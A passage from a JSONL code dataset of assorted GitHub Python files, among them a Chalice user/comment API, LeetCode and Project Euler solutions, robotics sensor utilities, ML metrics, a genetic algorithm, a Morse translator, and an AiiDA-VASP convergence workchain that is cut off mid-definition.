create_comment(username: IUsername):\n body = app.current_request.json_body\n user_table.put_item(Item={\n 'PK': f'User#{username}',\n 'SK': f'Comment#{uuid4()}',\n 'text': body['text']\n })\n return {'success': True}\n\n\n@app.route('/comment', methods=['GET'], authorizer=authorizer)\n@inject(username=IUsername)\ndef get_comments(username: IUsername):\n filter_expression = \\\n Key('PK').eq(f'User#{username}') & \\\n Key('SK').begins_with('Comment')\n comments_db = user_table.query(\n KeyConditionExpression=filter_expression\n )['Items']\n return comments_db\n\n\n@app.route('/event', methods=['POST'], authorizer=authorizer)\n@inject(username=IUsername)\ndef create_event(username: IUsername):\n body = app.current_request.json_body\n if 'type' not in body:\n return {'success': False, 'error': 'attr \"type\" not provided in request body'}\n user_table.put_item(Item={\n 'PK': f'User#{username}',\n 'SK': f'Event#{uuid4()}',\n 'type': body['type'],\n 'date': datetime.now()\n })\n return {'success': True}\n\n\n@app.route('/event', methods=['GET'], authorizer=authorizer)\n@inject(username=IUsername)\ndef get_events(username: IUsername):\n filter_expression = \\\n Key('PK').eq(f'User#{username}') & \\\n Key('SK').begins_with('Event#')\n return user_table.query(\n KeyConditionExpression=filter_expression\n )['Items']\n\n\n@app.route('/user', methods=['GET'], authorizer=authorizer)\n@inject(username=IUsername)\ndef get_me(username: IUsername):\n filter_expression = \\\n Key('PK').eq(f'User#{username}') & \\\n Key('SK').eq('Profile')\n try:\n database_user = user_table.query(\n KeyConditionExpression=filter_expression\n )['Items'][0]\n except IndexError:\n return {'success': False, 'error': \"User doesn't exists\"}\n user = User.deserialize(database_user)\n return json.dumps(user.json)\n\n\n@app.route('/user', methods=['POST'], authorizer=authorizer)\n@inject(username=IUsername)\ndef update_basic_settings(username: IUsername):\n body = app.current_request.json_body\n user_table.update_item(\n Key={\n 'PK': f'User#{username}',\n 'SK': 'Profile',\n },\n UpdateExpression=\"SET username = :username, avatar = :avatar, locale = :locale, theme = :theme,\"\n \" selected_course = :selected_course\",\n ExpressionAttributeValues={\n ':username': body['username'],\n ':avatar': body['avatar'],\n ':locale': body['locale'],\n ':theme': Theme[body['theme']].value,\n ':selected_course': Course[body['selected_course']].value,\n },\n )\n return {'success': True}\n\n\n@app.route('/notification_settings', methods=['POST'], authorizer=authorizer)\n@inject(username=IUsername)\ndef update_notification_settings(username: IUsername):\n body = app.current_request.json_body\n notification_settings = NotificationSettings(\n **body['notification_settings']\n )\n user_table.update_item(\n Key={\n 'PK': f'User#{username}',\n 'SK': 'Profile',\n },\n UpdateExpression=f\"SET #field = :field_value\",\n ExpressionAttributeNames={\n '#field': 'notification_settings',\n },\n ExpressionAttributeValues={\n ':field_value': notification_settings.__dict__,\n },\n )\n return {'success': True}\n\n\n@app.route('/upload', methods=['PUT'], content_types=['image/jpeg'], authorizer=authorizer)\n@inject(username=IUsername)\ndef upload_avatar(username: IUsername):\n in_mem_file = io.BytesIO()\n with Image.open(io.BytesIO(app.current_request.raw_body)) as avatar_image:\n avatar_image.save(in_mem_file, format=avatar_image.format, quality=60, optimize=True)\n in_mem_file.seek(0)\n dependency_register.s3.upload_fileobj(\n in_mem_file,\n dependency_register.media_bucket_name,\n f'{username}.jpg'\n )\n return {'success': True}\n","repo_name":"Rq0/smokler","sub_path":"runtime/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9923311200","text":"class Solution(object):\n def isValid(self, s):\n pair = {'(':')', '[':']', '{':'}'}\n a = []\n for c in s:\n if c in '([{':\n a.append(pair[c])\n else:\n if len(a) == 0 or a[-1] != c:\n return False\n a.pop()\n return len(a) == 0\n","repo_name":"shuai-z/LeetCode","sub_path":"valid-parentheses.py","file_name":"valid-parentheses.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"6824336967","text":"# class SensorUtilities.\n#\n# This class defines some utility methods for sensor data.\n#\n# O. Bittel\n# AIN V1.0; 05.11.2017\n\n\nfrom math import *\nfrom graphics import *\nimport World\n\n\n# --------\n# Extracts lines from sensor data dists and directions (polar coordinates).\n# A polyline must be supported by a sequence of at least\n# minPoints = 3 sensor data points.\n#\ndef extractLinesFromSensorData(dists, directions, eps=0.1):\n minPoints = 3\n numberedPointList = []\n nr = -1\n for i in range(len(dists)):\n d = dists[i]\n if d is None:\n continue\n alpha = directions[i]\n x_l = d * cos(alpha)\n y_l = d * sin(alpha)\n nr += 1\n numberedPointList.append([x_l, y_l, nr])\n\n extractedNumberedPointList = extractPolyLine(numberedPointList, eps)\n if len(extractedNumberedPointList) == 0:\n return []\n\n #print('polyline:',extractedNumberedPointList)\n\n listOfExtractedLines = []\n for i in range(1,len(extractedNumberedPointList)):\n point1 = extractedNumberedPointList[i-1]\n point2 = extractedNumberedPointList[i]\n if point2[2]-point1[2]+1 >= minPoints:\n listOfExtractedLines.append([point1[0:2],point2[0:2]])\n #print('extracted lines:', listOfExtractedLines)\n return listOfExtractedLines\n\n\n# --------\n# Extract a polyline from a list of numbered points.\n# https://de.wikipedia.org/wiki/Douglas-Peucker-Algorithmus\n#\ndef extractPolyLine(numberedPointList, eps = 0.1):\n n = len(numberedPointList)\n if n <= 2:\n return numberedPointList\n\n # Finde Punkt mit groesstem Abstand:\n dmax = 0\n imax = 0\n p1 = Point(numberedPointList[0][0], numberedPointList[0][1])\n p2 = Point(numberedPointList[n - 1][0], numberedPointList[n - 1][1])\n l = Line(p1,p2)\n for i in range(1, len(numberedPointList)):\n p = Point(numberedPointList[i][0], numberedPointList[i][1])\n d = World.World.distPointSegment(p,l)\n if d > dmax:\n dmax = d\n imax = i\n\n # Splitte, falls dmax > eps:\n if dmax > eps:\n res1 = extractPolyLine(numberedPointList[0:imax + 1], eps)\n res2 = extractPolyLine(numberedPointList[imax:n], eps)\n return res1+res2[1:]\n else:\n return [numberedPointList[0], numberedPointList[n - 1]]\n\n\n# --------\n# Transform several polylines from robot's local to global coordinates\n#\ndef transform(polylines, pose):\n x_R,y_R,theta_R = pose\n polylines_g = []\n for polyline in polylines:\n polyline_g = []\n for p in polyline:\n x = p[0]\n y = p[1]\n x_g = x_R + x*cos(theta_R) - y*sin(theta_R)\n y_g = y_R + x*sin(theta_R) + y*cos(theta_R)\n polyline_g.append([x_g,y_g])\n polylines_g.append(polyline_g)\n return polylines_g\n\n\nif __name__ == \"__main__\":\n points = [[0,0],[1,0.05],[2,0.2],[3,0]]\n print(points)\n lines = extractPolyLine(points)\n print(lines)\n\n\n","repo_name":"UllusParvus/Einf_Mobile_Robotik","sub_path":"HTWG_Robot_Simulator_AIN_V1/SensorUtilities.py","file_name":"SensorUtilities.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37263680255","text":"#!/usr/bin/python3\n\"\"\"\nrotate a matrix solution\n\"\"\"\n\n\ndef rotate_2d_matrix(matrix):\n \"\"\"rotate by transposing and reversing the cols and rows\"\"\"\n for r in range(len(matrix)):\n for c in range(r):\n matrix[r][c], matrix[c][r] = matrix[c][r], matrix[r][c]\n for r in range(len(matrix)):\n matrix[r].reverse()\n","repo_name":"Lindagez/alx-interview","sub_path":"0x07-rotate_2d_matrix/0-rotate_2d_matrix.py","file_name":"0-rotate_2d_matrix.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23177538291","text":"import numpy as np\nfrom pymoo.core.problem import ElementwiseProblem\nfrom pymoo.problems.autodiff import AutomaticDifferentiation\n\n\nclass ContinuationProblem(ElementwiseProblem):\n\n def __init__(self,\n f,\n df,\n n_var,\n n_obj,\n xl,\n xu,\n x_tol_for_hash=None,\n constraints_limits=None):\n\n self.f = f\n self.df = df\n self.n_f_evals = 0\n self.n_grad_evals = 0\n self.computed_grads = {}\n self.x_tol_for_hash = x_tol_for_hash\n self.constraints_limits = constraints_limits\n super().__init__(n_var=n_var,\n n_obj=n_obj,\n n_constr=n_obj if constraints_limits is not None else 0,\n xl=np.array(xl),\n xu=np.array(xu))\n\n # wrapper to original method that returns type float32\n def evaluate32(self, X):\n res = super().evaluate(X)\n if isinstance(res, dict):\n for key, arr in res.items():\n res[key] = arr.astype(np.float32)\n else:\n res = res.astype(np.float32)\n return res\n\n def _evaluate(self, x, out, *args, **kwargs):\n self.n_f_evals += 1\n out[\"F\"] = self.f(x)\n\n if self.constraints_limits is not None:\n F = out[\"F\"] if len(out['F'].shape) == 2 else out[\"F\"].reshape(1, -1)\n G = np.empty_like(F)\n if len(self.constraints_limits) != F.shape[1]:\n raise ValueError('{} constraints is not '\n 'consistent with {} objectives'.format(len(self.constraints_limits),\n F.shape[1]))\n for obj in range(F.shape[1]):\n G[:, obj] = F[:, obj] - self.constraints_limits[obj]\n\n out['G'] = G\n\n def gradient(self, x):\n if self.x_tol_for_hash is None:\n self.n_grad_evals += 1\n return self.df(x)\n else:\n key = tuple(np.round(x, self.x_tol_for_hash))\n if key in self.computed_grads:\n return self.computed_grads[key]\n else:\n self.n_grad_evals += 1\n dx = self.df(x)\n self.computed_grads[key] = dx\n return dx\n\n\nclass AutomaticDifferentiationProblem(AutomaticDifferentiation):\n def __init__(self, problem):\n super().__init__(problem)\n\n self.n_f_evals = 0\n self.n_grad_evals = 0\n\n def gradient(self, x):\n return self.evaluate(x, return_values_of=['dF'])\n","repo_name":"samlopezruiz/stochastic-directed-search-moo","sub_path":"src/sds/core/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34105410431","text":"import matplotlib.pyplot as plt\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix, f1_score, accuracy_score, cohen_kappa_score, classification_report, \\\n r2_score, mean_absolute_error, precision_score, recall_score\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nimport numpy as np\n\nfrom reduction_dermatology.results_metrics import generate_output_report\n\n\ndef count_print_confusion_matrix(X_train, X_test, y_train, y_test, classifier, **kwargs):\n\n # TO JEST DLA NIEZREDUKOWANEGO:\n # pipe_svc = Pipeline([('scl', StandardScaler()), ('clf', LogisticRegression())])\n # pipe_svc.fit(X_train, y_train)\n\n #TO JEST DLA ZREDUKOWANEGO\n y_pred = classifier.predict(X_test)\n conf_matrix = confusion_matrix(y_true=y_test, y_pred=y_pred)\n print(conf_matrix)\n\n plot_confusion_matrix(conf_matrix)\n\n print('Wynik F1: %.4f' % f1_score(y_true=y_test, y_pred=y_pred))\n print('Accuracy: %.4f' % accuracy_score(y_true=y_test, y_pred=y_pred))\n print('Cohen’s kappa: %.4f' % cohen_kappa_score(y_test, y_pred))\n print('R2 Score: %.4f' % r2_score(y_true=y_test, y_pred=y_pred))\n\n #https://stackoverflow.com/questions/33275461/specificity-in-scikit-learn\n tn, fp, fn, tp = conf_matrix.ravel()\n specificity = tn / (tn + fp)\n print('Specificity: %.4f' % specificity)\n\n target_names = ['class 0', 'class 1']\n print(classification_report(y_true=y_test, y_pred=y_pred, target_names=target_names))\n\n _f1_score = f1_score(y_true=y_test, y_pred=y_pred, average='binary')\n _error = mean_absolute_error(y_true=y_test, y_pred=y_pred)\n _accuracy_score = accuracy_score(y_true=y_test, y_pred=y_pred)\n _cohen_kappa_score = cohen_kappa_score(y_test, y_pred)\n #r2_score(y_true=y_test, y_pred=y_pred)\n _precision_score = precision_score(y_true=y_test, y_pred=y_pred, average='binary')\n _recall_score = recall_score(y_true=y_test, y_pred=y_pred, average='binary')\n generate_output_report(_accuracy_score, _error, _f1_score, _precision_score, _recall_score, conf_matrix, kwargs)\n pass\n\n\ndef plot_confusion_matrix(conf_matrix):\n fig, ax = plt.subplots(figsize=(2.5, 2.5))\n ax.matshow(conf_matrix, cmap=plt.cm.Greys, alpha=0.3)\n for i in range(conf_matrix.shape[0]):\n for j in range(conf_matrix.shape[1]):\n ax.text(x=j, y=i,\n s=conf_matrix[i, j],\n va='center', ha='center')\n plt.xlabel('przewidywana klasa')\n plt.ylabel('rzeczywista klasa')\n plt.show()\n\n\ndef desc_confusion_matrix():\n fig, ax = plt.subplots(figsize=(2.5, 2.5))\n conf_matrix = np.array([['PP', 'FN'], ['FP', 'PN']])\n #ax.matshow(conf_matrix, cmap=plt.cm.Blues, alpha=0.3)\n ax.matshow(conf_matrix, cmap=plt.cm.Greys, alpha=0.3)\n for i in range(conf_matrix.shape[0]):\n for j in range(conf_matrix.shape[1]):\n ax.text(x=j, y=i,\n s=conf_matrix[i],\n va='center', ha='center')\n # ax.text(x=0, y=0, s=conf_matrix[0], va='center', ha='center')\n # ax.text(x=0, y=1, s=conf_matrix[1], va='center', ha='center')\n # ax.text(x=1, y=0, s=conf_matrix[2], va='center', ha='center')\n # ax.text(x=1, y=1, s=conf_matrix[3], va='center', ha='center')\n plt.xlabel('przewidywana klasa')\n plt.ylabel('rzeczywista klasa')\n plt.show()\n\n\n#desc_confusion_matrix()\n# def count_f1(X_train, X_test, y_train, y_test):\n# print('wynik F1: %s' % f1_score(y_true=y_test, y_pred=y_pred))\n","repo_name":"WookiePL/linear-dim-reduction","sub_path":"reduction/results_metrics.py","file_name":"results_metrics.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18129363335","text":"temp = int(input())\nmas = []\nfor i in input().split(\" \"):\n mas.append(int(i))\nswap = False\ntr = 1\nfor i in range(len(mas)):\n\n for j in range(len(mas)-1):\n if mas[j] > mas[j+1]:\n swap = True\n\n tmp = mas[j]\n mas[j] = mas[j+1]\n mas[j+1] = tmp\n if swap:\n tr = 0\n for k in mas:\n print(k,end=\" \")\n print()\n swap = False\nif tr:\n for k in mas:\n print(k, end=\" \")\n print()","repo_name":"TOOFACK/DailyCodingPy","sub_path":"YaPracRestart/Sprint3/J.py","file_name":"J.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7019063375","text":"from ga import GA\nimport pandas as pd\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport time\nfrom itertools import count\n\ndef visualize(arr):\n plt.plot(arr)\n plt.ylabel('fitness score')\n plt.xlabel(\"nth generation\")\n plt.show()\n\ndef main():\n chromosome_size = 24\n population_size = 100\n constraint = 5000\n prob_crossover = 0.9\n prob_mutation = 0.001\n max_generations = 100\n solver = GA(chromosome_size,population_size,constraint,prob_crossover,prob_mutation,max_generations)\n Results = []\n chromosome = 0\n i = count()\n while(solver.termination_test()):\n solver.generate_new_population()\n chromosome, score = solver.get_best_fitness_chromosome()\n Results.append(score)\n\n items, total_price, total_value = solver.convert_chromosome_to_item_list(chromosome)\n print(items)\n print()\n print(f\"Total price : {total_price}\")\n print(f\"Total value: {total_value}\" )\n visualize(Results)\n\n\ndef main_test():\n chromosome_size = 24\n population_size = 4\n constraint = 5000\n prop_crossover = 0.9\n prob_mutation = 0.01\n max_generations = 3\n solver = GA(chromosome_size,population_size,constraint,prop_crossover,prob_mutation,max_generations)\n chromosome = np.random.choice([0,1],(chromosome_size,population_size))\n\n print(solver.calculate_fitness())\n #print(solver.population)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"masenov9607/Genetic-algorithm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10429109049","text":"import _dictionary as dictionary\nfrom _normalize import *\nfrom _messages import *\n\ndef del_break_line(string):\n acc_str = ''\n for i in range(len(string)):\n if string[i] == '\\n':\n acc_str += ' '\n else:\n acc_str += string[i]\n \n return acc_str\n\ndef code_text(text):\n text = normalize(text)\n morse = ''\n for letter in text:\n morse += dictionary.morse[letter] + ' '\n return morse\n\ndef decode_text(text):\n text = del_break_line(text)\n morse_list = text.split(' ')\n acc_symbol = ''\n\n for symbol in morse_list:\n for item in dictionary.morse:\n if symbol == dictionary.morse[item]:\n acc_symbol += item\n break\n return acc_symbol\n\ndef code_decode(text):\n code = code_text(text)\n decode = decode_text(code)\n\n return code, decode","repo_name":"Mardecera/_codeMorseTranslate","sub_path":"_to_morse.py","file_name":"_to_morse.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30859465371","text":"################################################################################\r\n# Project Euler Problem 719 #\r\n# https://projecteuler.net/problem=719 #\r\n# #\r\n# Author: Chris B. #\r\n# Date: December 02, 2020 #\r\n################################################################################\r\n\r\ndef prob_719(N=10**12):\r\n \r\n def splitter(n):\r\n s = str(n)\r\n for i in range(1, len(s)):\r\n start = int(s[0:i])\r\n end = int(s[i:])\r\n yield (start, end)\r\n for split in splitter(end):\r\n result = [start]\r\n result.extend(split)\r\n yield result\r\n\r\n def is_S(n):\r\n 'if the square root of the S number'\r\n for split in splitter(n**2):\r\n if sum(split) == n:\r\n return True\r\n return False \r\n\r\n \r\n return sum(i**2 for i in range(1, int(sqrt(N) + 1)) if is_S(i))\r\n\r\nprob_719()","repo_name":"stereoabuse/euler","sub_path":"problems/prob_719.py","file_name":"prob_719.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16431653062","text":"from torch.utils.data import DataLoader\nfrom functools import partial\nfrom collate_f import collate\nimport random\nimport pandas as pd\nfrom torch_geometric.data import Data\nimport pandas as pd\nfrom functools import partial\n\n\ndef pre_test_data(SMILES, Torsion_list, Torsion, relativeenergy_list, batchsize, \n max_num_atom = 9, wl_max_iter = 3, num_choosed_confs = 300, device=\"cuda\"):\n testdata = list(zip(SMILES,Torsion,Torsion_list,relativeenergy_list))\n \n test_loader = DataLoader(testdata, batch_size=batchsize, \n collate_fn=partial(collate, max_num_atom=max_num_atom, \n wl_max_iter=wl_max_iter,\n num_choosed_confs = num_choosed_confs,\n device=device,\n ),\n shuffle=False,pin_memory=False)\n print(\"len(test_loader)\", len(test_loader))\n return test_loader\n\n\ndef pre_data(SMILES, Torsion_list, Torsion, relativeenergy_list, batchsize, rate_trte=0.9, rate_tr_in_trti=0.8, max_num_atom = 9, wl_max_iter = 3, num_choosed_confs = 300, inference=False, device = \"cuda\"):\n \n if inference==True:\n data=list(zip(SMILES, Torsion, Torsion_list, relativeenergy_list))\n data_loader = DataLoader(data, batch_size=batchsize, \n collate_fn=partial(collate, max_num_atom=max_num_atom, wl_max_iter=wl_max_iter,\n ),\n shuffle=False,pin_memory=False)\n return data_loader\n \n # splite dataset\n num = len(SMILES)\n list1 = range(num)\n random.seed(23)\n Train_index = random.sample(list1, int(num * rate_trte))\n\n test_index = list(set(list1).difference(set(Train_index)))\n train_index = random.sample(Train_index, int(num * rate_tr_in_trti))\n val_index = list(set(Train_index).difference(set(train_index)))\n\n train_smiles, train_angle, train_mask, train_relativeenergy = data_split(SMILES, Torsion_list, Torsion, relativeenergy_list, train_index)\n val_smiles, val_angle, val_mask, val_relativeenergy = data_split(SMILES, Torsion_list, Torsion, relativeenergy_list, val_index)\n test_smiles, test_angle, test_mask, test_relativeenergy = data_split(SMILES, Torsion_list, Torsion, relativeenergy_list, test_index)\n \n traindata = [(train_smiles[i], train_angle[i], train_mask[i], train_relativeenergy[i]) for i in range(len(train_index))]\n valdata = [(val_smiles[i], val_angle[i], val_mask[i], val_relativeenergy[i]) for i in range(len(val_index))]\n testdata = [(test_smiles[i], test_angle[i], test_mask[i], test_relativeenergy[i]) for i in range(len(test_index))]\n \n # dataloader\n train_loader = DataLoader(traindata, batch_size=batchsize, \n collate_fn=partial(collate, max_num_atom=max_num_atom, \n wl_max_iter=wl_max_iter,\n num_choosed_confs = num_choosed_confs,\n device=device),\n shuffle=True,pin_memory=False)\n val_loader = DataLoader(valdata, batch_size=batchsize, \n collate_fn=partial(collate, max_num_atom=max_num_atom, \n wl_max_iter=wl_max_iter,\n num_choosed_confs = num_choosed_confs,\n device=device),\n shuffle=True,pin_memory=False)\n test_loader = DataLoader(testdata, batch_size=batchsize, \n collate_fn=partial(collate, max_num_atom=max_num_atom, \n wl_max_iter=wl_max_iter,\n num_choosed_confs = num_choosed_confs,\n device=device),\n shuffle=False,pin_memory=False)\n return train_loader, val_loader, test_loader\n\ndef data_split(SMILES, Torsion_list, Torsion, relativeenergy_list, index):\n Smiles = [SMILES[i] for i in index]\n mask = [Torsion_list[i] for i in index]\n angle = [Torsion[i] for i in index]\n relativeenergy = [relativeenergy_list[i] for i in index]\n return Smiles, angle, mask, relativeenergy\n\n\n\ndef pre_data_samesmilesinbatch(smilelist,torsion_angle,torsion_list,relativeenergy_list,len_=10):\n\n df = pd.DataFrame({\"smilelist\": smilelist,\"torsion_angle\": torsion_angle, \"torsion_list\": torsion_list, \"relativeenergy_list\": relativeenergy_list})\n df=df.groupby(by='smilelist')\n\n df_cat = pd.DataFrame()\n df_cat[\"dihedral_degree\"] = df[\"torsion_angle\"].apply(list)\n df_cat[\"dihedral_pairs_atoms4\"] = df[\"torsion_list\"].apply(list)\n df_cat[\"relativeenergy_list\"] = df[\"relativeenergy_list\"].apply(list)\n\n df_cat_=df_cat[df_cat.applymap(l)[\"dihedral_degree\"]>=len_]\n\n df_cat_ = df_cat_.apply(partial(eliminate,len_=len_))\n\n smilelist_ = []\n torsion_angle_ = []\n torsion_list_ = []\n relativeenergy_list_ = []\n\n for i,index in enumerate(df_cat_.index):\n for i in range(len_):\n smilelist_.append(index)\n torsion_angle_.append(df_cat_[\"dihedral_degree\"][index][i])\n torsion_list_.append(df_cat_[\"dihedral_pairs_atoms4\"][index][i]) \n relativeenergy_list_.append(df_cat_[\"relativeenergy_list\"][index][i]) \n\n traindata = [(smilelist_[i], torsion_angle_[i], torsion_list_[i], relativeenergy_list_[i]) for i in range(len(smilelist_))]\n\n\n # dataloader\n train_loader = DataLoader(traindata, batch_size=len_, \n collate_fn=partial(collate, max_num_atom=max_num_atom, wl_max_iter=wl_max_iter,\n data_enhancement = data_enhancement),\n shuffle=False,pin_memory=False)\n\n print(len(smilelist_), len(torsion_angle_), len(torsion_list_), len(relativeenergy_list_))\n print(len(train_loader))\n return train_loader\n\ndef eliminate(list_, len_):\n return list_[:len_]\ndef l(list_):\n return len(list_)\n\ndef create_data(row):\n data = Data()\n data.name = row.name\n data.dihedral_degree = row[\"dihedral_degree\"]\n data.dihedral_pairs_atoms4= row[\"dihedral_pairs_atoms4\"]\n data.relativeenergy_list = row[\"relativeenergy_list\"]\n return data\n","repo_name":"zimeizhng/Tora3D","sub_path":"pre_data_f.py","file_name":"pre_data_f.py","file_ext":"py","file_size_in_byte":6490,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"28585191583","text":"#!/usr/bin/env python\n\"\"\"\nCreated on Tue Dec 31 10:58:18 2013\n\n@author: Bodangles\n\"\"\"\nimport os\nimport inspect\ndef getangles(bcodes,radar='risr'):\n ref_path = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n if radar.lower() == 'risr':\n reffile = os.path.join(ref_path,'RISRNbeammap.txt')\n elif radar.lower() == 'pfisr':\n reffile = os.path.join(ref_path,'PFISRbeammap.txt')\n\n ref_f = open(reffile)\n all_ref = ref_f.readlines()\n ref_f.close()\n\n # make a beamcode to angle dictionary\n bco_dict = dict()\n for slin in all_ref:\n split_str = slin.split()\n bco_num = int(split_str[0])\n bco_dict[bco_num] = (float(split_str[1]),float(split_str[2]))\n\n # Read in file\n #file_name = 'SelectedBeamCodes.txt'\n if type(bcodes) is str:\n file_name = bcodes\n f = open(file_name)\n bcolines = f.readlines()\n f.close()\n\n bcolist = [int(float(x.rstrip())) for x in bcolines]\n else:\n bcolist = bcodes\n angles = [bco_dict[x] for x in set(bcolist)]\n return angles","repo_name":"hhuangwx/RadarDataSim","sub_path":"beamtools/bcotools.py","file_name":"bcotools.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"8153363744","text":"\"\"\"\nConvergence workchain.\n\n----------------------\nIntended to be used to control convergence checks for plane-wave calculations.\n\"\"\"\n# pylint: disable=too-many-lines, too-many-locals, too-many-statements, too-many-public-methods, too-many-branches, attribute-defined-outside-init\nimport copy\n\nimport numpy as np\n\nfrom aiida.common.extendeddicts import AttributeDict\nfrom aiida.engine import WorkChain, append_, calcfunction, if_, while_\nfrom aiida.orm.nodes.data.array.bands import find_bandgap\nfrom aiida.plugins import WorkflowFactory\n\nfrom aiida_vasp.assistant.parameters import inherit_and_merge_parameters\nfrom aiida_vasp.utils.aiida_utils import compressed_structure, displaced_structure, get_data_class, get_data_node\nfrom aiida_vasp.utils.workchains import compose_exit_code, fetch_k_grid, prepare_process_inputs\n\n\nclass ConvergeWorkChain(WorkChain):\n \"\"\"A workchain to perform convergence tests.\"\"\"\n\n _verbose = False\n _next_workchain_string = 'vasp.relax'\n _next_workchain = WorkflowFactory(_next_workchain_string)\n\n _ALLOWED_CUTOFF_TYPES = {'energy': 0, 'forces': 1, 'vbm': 2, 'gap': 3}\n\n @classmethod\n def define(cls, spec):\n super(ConvergeWorkChain, cls).define(spec)\n spec.expose_inputs(cls._next_workchain, exclude=('kpoints', 'parameters', 'structure', 'settings', 'relax'))\n spec.input(\n 'parameters',\n valid_type=get_data_class('core.dict'),\n )\n spec.input(\n 'structure',\n valid_type=(get_data_class('core.structure'), get_data_class('core.cif')),\n )\n spec.input(\n 'kpoints',\n valid_type=get_data_class('core.array.kpoints'),\n required=False,\n )\n spec.input(\n 'settings',\n valid_type=get_data_class('core.dict'),\n required=False,\n )\n spec.input_namespace(\n 'relax',\n required=False,\n dynamic=True,\n )\n spec.input(\n 'converge.pwcutoff',\n valid_type=get_data_class('core.float'),\n required=False,\n help=\"\"\"\n The plane-wave cutoff to be used during convergence tests in electron volts.\n \"\"\",\n )\n spec.input(\n 'converge.kgrid',\n valid_type=get_data_class('core.array'),\n required=False,\n help=\"\"\"The k-point grid to be used during convergence tests.\"\"\",\n )\n spec.input(\n 'converge.pwcutoff_start',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 200.0),\n help=\"\"\"The plane-wave cutoff in electron volts.\"\"\",\n )\n spec.input(\n 'converge.pwcutoff_step',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 50.0),\n help=\"\"\"\n The plane-wave cutoff step (increment) in electron volts.\n \"\"\",\n )\n spec.input(\n 'converge.pwcutoff_samples',\n valid_type=get_data_class('core.int'),\n required=False,\n default=lambda: get_data_node('core.int', 10),\n help=\"\"\"The number of plane-wave cutoff samples.\"\"\",\n )\n spec.input(\n 'converge.k_dense',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.07),\n help=\"\"\"\n The target k-point stepping at the densest grid in inverse AA.\n \"\"\",\n )\n spec.input(\n 'converge.k_coarse',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.35),\n help=\"\"\"\n The target k-point stepping at the coarsest grid in inverse AA.\n \"\"\",\n )\n spec.input(\n 'converge.k_spacing',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.1),\n help=\"\"\"The default k-point spacing in inverse AA.\"\"\",\n )\n spec.input(\n 'converge.k_samples',\n valid_type=get_data_class('core.int'),\n required=False,\n default=lambda: get_data_node('core.int', 10),\n help=\"\"\"The number of k-point samples.\"\"\",\n )\n spec.input(\n 'converge.cutoff_type',\n valid_type=get_data_class('core.str'),\n required=False,\n default=lambda: get_data_node('core.str', 'energy'),\n help=\"\"\"\n The cutoff_type to check convergence against. Currently the following\n options are accepted:\n * energy\n * forces\n * gap\n * vbm (not yet currently supported)\n \"\"\",\n )\n spec.input(\n 'converge.cutoff_value',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.01),\n help=\"\"\"\n The cutoff value to be used. When the difference between two convergence\n calculations are within this value for ``cutoff_type``, then it is\n considered converged.\n \"\"\",\n )\n spec.input(\n 'converge.cutoff_value_r',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.01),\n help=\"\"\"\n The relative cutoff value to be used. When the difference between two convergence\n calculations are within this value for ``cutoff_type``, then it is\n considered converged. However, in this case the cutoff value is the difference\n between `cutoff_type` for the input structure and an atomic displacement or a\n compression of the unitcell.\n \"\"\",\n )\n spec.input(\n 'converge.compress',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n If True, a convergence test of the compressed structure is also\n performed. The difference of the ``cutoff_type`` values for each\n calculations are evaluated and when the difference between these are\n less than ``cutoff_value_r``, the calculation is considered converged.\n The largest plane-wave cutoff and densest k-point grid are used.\n \"\"\",\n )\n spec.input(\n 'converge.displace',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n If True, a convergence test of the displaced structure is also\n performed. The difference of the ``cutoff_type`` values for each\n calculations are evaluated and when the difference between these are\n less than ``cutoff_value_r``, the calculation is considered converged.\n The largest plane-wave cutoff and densest k-point grid are used.\n \"\"\",\n )\n spec.input(\n 'converge.displacement_vector',\n valid_type=get_data_class('core.array'),\n required=False,\n default=lambda: default_array('array', np.array([1.0, 1.0, 1.0])),\n 